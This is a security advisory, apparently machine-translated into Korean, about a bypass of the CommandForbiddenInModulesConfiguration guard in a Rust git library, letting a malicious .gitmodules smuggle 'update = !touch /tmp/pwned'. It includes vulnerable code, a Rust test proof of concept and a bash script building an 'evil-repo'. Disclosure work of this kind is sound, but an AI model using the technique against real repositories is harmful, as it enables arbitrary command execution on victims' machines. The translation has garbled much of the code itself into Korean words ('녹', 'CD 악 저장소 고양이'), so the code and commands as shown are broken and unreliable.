gitoxy: gix_submodule::File::update()의 CommandForbiddenInModulesConfiguration 바이패스는 .gitmodules를 통한 임의 명령 실행을 활성화합니다.
gix_submodule::File::update()는 공격자가 제공한 .gitmodules 파일이 update = !<shell command>를 설정할 수 있는지 여부를 제어하는 API입니다. 이 함수는 !command 값이 신뢰할 수 있는 로컬 소스(.git/config)에서 나온 것이 아닌 한 Err(CommandForbiddenInModulesConfiguration)을 반환하도록 설계되었습니다. Git CVE CVE-2019-19604에서는 이 확인이 필요한 이유를 보여줍니다.
그러나 가드는 잘못 구현되었습니다. 동일한 하위 모듈 이름을 가진 섹션이 .gitmodules 소스가 아닌 소스에 존재하는지 확인합니다. 'update' 값이 해당 섹션에서 나온 것인지 확인하지 않습니다.
하위 모듈이 초기화되고(submodule.<name>.url을 .git/config에 쓰는 모든 워크플로) 공격자가 이후 update = !cmd를 .gitmodules에 추가하면 명령 값이 공격자가 제어하는 파일로 전달되는 동안 가드가 전달됩니다.
동일한 저장소 상태에서 git submodule update는 치명적: 'submodule.sub.update'에 대한 잘못된 값'으로 인해 중단되고 gix::Submodule::update()는 Ok(Some(Update::Command("touch /tmp/pwned")))를 반환합니다.
취약한 코드는 https://github.com/GitoxyLabs/gitoxy/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0에 도입되었습니다.
취약한 방법은 gix_submodule::File::update입니다: https://github.com/GitoxyLabs/gitoxy/blob/main/gix-submodule/src/access.rs#L168-L193:
``녹
pub fn update(&self, name: &BStr) -> Result<Option, config::update::Error> {
값을 보자: 업데이트 = 일치 self.config.string(format!("submodule.{name}.update")) {
// ^^^^^^^^^^^^^^^^^^^^
// [A] 값을 읽습니다. gix_config::File::string() 섹션을 반복합니다.
// 최신순; 재정의 섹션에 update가 없으면
// .gitmodules로 이동하여 공격자 값을 반환합니다.
//
// https://github.com/GitoxyLabs/gitoxy/blob/main/gix-config/src/file/access/raw.rs#L76
Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
하위 모듈: name.to_owned(),
실제: v.into_owned(),
})?,
없음 => 확인(없음)을 반환합니다.
};
Update::Command(cmd) = &value {인 경우
우리 = self.config.meta();
has_value_from_foreign_section = 자체를 보자
.config
.sections_by_name("하위모듈")
.into_iter()
.플랫튼()
.any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// [B] 이 이름을 가진 SOME 섹션이
// .gitmodules가 아닌 소스. [A]의 값이 어디에 있는지 확인하지 않습니다.
// 에서 왔습니다.
!has_value_from_foreign_section {
return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
}
}
알았어(일부(값))
}
### PoC
`git submodule init`은 `submodule.$name.url`을 복사하고 `active = true`를 `.git/config`에 씁니다([`init_submodule()`, 내장/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). 무조건 `update`를 복사하지는 않습니다.
CVE-2019-19604부터 `git`은 구문 분석 시 `update = !cmd`가 포함된 `.gitmodules` 파일을 거부합니다. 그러나 'init'은 일회성 작업입니다. 일단 '.git/config' 섹션이 존재하면 '.gitmodules'에 대한 후속 변경 사항은 다시 초기화되지 않습니다.
따라서 공격 순서는 다음과 같습니다.
1. 공격자의 저장소는 양성 `.gitmodules`(`update` 키 없음)를 제공합니다.
2. 피해자가 `git submodule init`을 복제하고 실행합니다. -> `.git/config`에는 다음이 포함됩니다.
``이니
[하위 모듈 "하위"]
활성 = 사실
url = /tmp/하위 출처
.gitmodules에 update = !cmd를 추가하여 새로운 커밋을 푸시합니다.git pull을 실행합니다. -> 이제 .gitmodules에 다음이 포함됩니다.
``이니
[하위 모듈 "하위"]
경로 = 하위
url = /tmp/하위 출처
업데이트 = !touch /tmp/pwned
`.git/config`는 변경되지 않았습니다.
이것은 gitoxy의 가드를 우회하는 정확한 상태입니다:
append_submodule_overrides가 재정의 섹션을 생성하도록 합니다. 해당 섹션에는 외부(.gitmodules가 아닌) 메타데이터가 있으므로 [B]의 존재 확인이 true를 반환하고 가드가 해제됩니다.버그는 [A]와 [B]가 실제로 검사하는 내용이 일치하지 않는다는 것입니다. [A]는 "업데이트 값을 제공하는 섹션은 무엇입니까?"라고 묻습니다. (답변: .gitmodules) [B]는 "이 하위 모듈에 대해 신뢰할 수 있는 섹션이 있습니까?"라고 묻습니다. (답: 예). 올바른 경비원은 [A]와 같은 질문을 할 것입니다.
Git 자체는 다음 git 하위 모듈 업데이트에서 이 저장소에서 작동을 거부합니다. 취약점은 Submodule::update()를 호출하고 해당 출력을 신뢰하는 gitoxy 기반 소비자에 있습니다.
mod update 내부의 gix-submodule/tests/file/mod.rs에 드롭합니다:
``녹 #[테스트] fn security_bypass_via_partial_override() { std::str::FromStr을 사용하세요.
// 공격자가 제어하는 .gitmodules
gitmodules = 하자
"[submodule.a]\n URL = https://example.com/a\n 업데이트 = !touch /tmp/pwned";
// Post-`git submodule init` 상태: `url`만 .git/config에 복사됨
repo_config = 보자
gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();
모듈 = 보자
gix_submodule::파일::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();
결과 = module.update("a".into());
// 취약함: `Ok(Some(Command("touch /tmp/pwned")))`를 인쇄합니다.
// 보안: `Err(CommandForbiddenInModulesConfiguration { .. })`이어야 합니다.
eprintln!("{:?}", 결과);
}
``콘솔
$ 화물 테스트 -p gix-submodule security_bypass -- --nocapture
테스트 1개 실행 중
우회 결과: Ok(Some(Command("touch /tmp/pwned")))
테스트 파일::update::security_bypass_via_partial_override ... 확인
git 2.51.2 및 **gix @ dd5c18d9e**로 확인되었습니다.
``배쉬 #!/bin/bash -e로 설정 CD /tmp rm -rf evil-repo 피해자 하위 원본 2>/dev/null || 사실
mkdir 하위 원본 && cd 하위 원본 git init -q && git commit -q --allow-empty -m init CD /tmp
mkdir evil-repo && cd evil-repo 자식 초기화 -q git -c 프로토콜.file.allow=always 하위 모듈 추가 /tmp/sub-origin sub git commit -q -m "하위 모듈 추가(양성)" CD /tmp
git -c 프로토콜.file.allow=항상 복제 -q /tmp/evil-repo 피해자 CD 피해자 git 서브모듈 초기화
CD /tmp
CD 악 저장소 고양이 >> .gitmodules <<'EOF' 업데이트 = !touch /tmp/pwned EOF git commit -q -am "악성 업데이트 추가" CD /tmp
CD 피해자 자식 풀 -q
최종 상태:
--- .git모듈: [하위 모듈 "하위"] 경로 = 하위 url = /tmp/하위 출처 업데이트 = !touch /tmp/pwned --- .git/config (하위 모듈 섹션): [하위 모듈 "하위"] 활성 = 사실 url = /tmp/하위 출처
**이 상태의 업스트림 Git:**
``콘솔
$ cd /tmp/victim && git 하위 모듈 업데이트
치명적: 'submodule.sub.update' 값이 잘못되었습니다.
$ 에코 $?
128
$ test -f /tmp/pwned && echo 취약함 || 에코 안전
안전하다
동일한 상태의 기톡사이드: ``녹 // /tmp/gix-repro/main.rs let repo = gix::open("/tmp/victim")?; for sm in repo.submodules()?.expect("하위 모듈이 있음") { println!("{}: {:?}", sm.name(), sm.update()); }
``콘솔
$ 화물 운송
하위: Ok(Some(Command("touch /tmp/pwned")))
'CommandForbiddenInModulesConfiguration' 가드는 절대 실행되지 않습니다.
gix를 기반으로 구축된 다운스트림 코드는 다음과 같습니다.
Update::Command(_)를 실행해도 안전하다고 신뢰합니다(CommandForbiddenInModulesConfiguration이 문서화된 가드로 존재하기 때문입니다)....이전에 초기화된 하위 모듈에 대해 '하위 모듈 업데이트'에 대해 공격자가 제어하는 셸 명령을 실행합니다.
gix 자체는 현재 하위 모듈 업데이트 구현을 제공하지 않으므로 현재 gix CLI에는 RCE가 없습니다. 그러나:
Submodule::update() API는 gix/src/submodule/mod.rs:108에 공개되어 있으며 취약한 함수에 직접 위임합니다.CommandForbiddenInModulesConfiguration)과 테스트 모음(gix-submodule/tests/file/mod.rs:272의 valid_in_overrides)은 이를 보안 경계로 명시적으로 문서화합니다.gix를 사용하는 편집기/IDE 확장init에 해당하는 항목 - 자체 init를 구현하는 모든 도구(로컬 구성에 url 작성)는 초기화 후 풀 시퀀스 없이 우회 상태를 생성합니다.왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 78.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 78.00 |
VPI 공식 vpi-v1 기준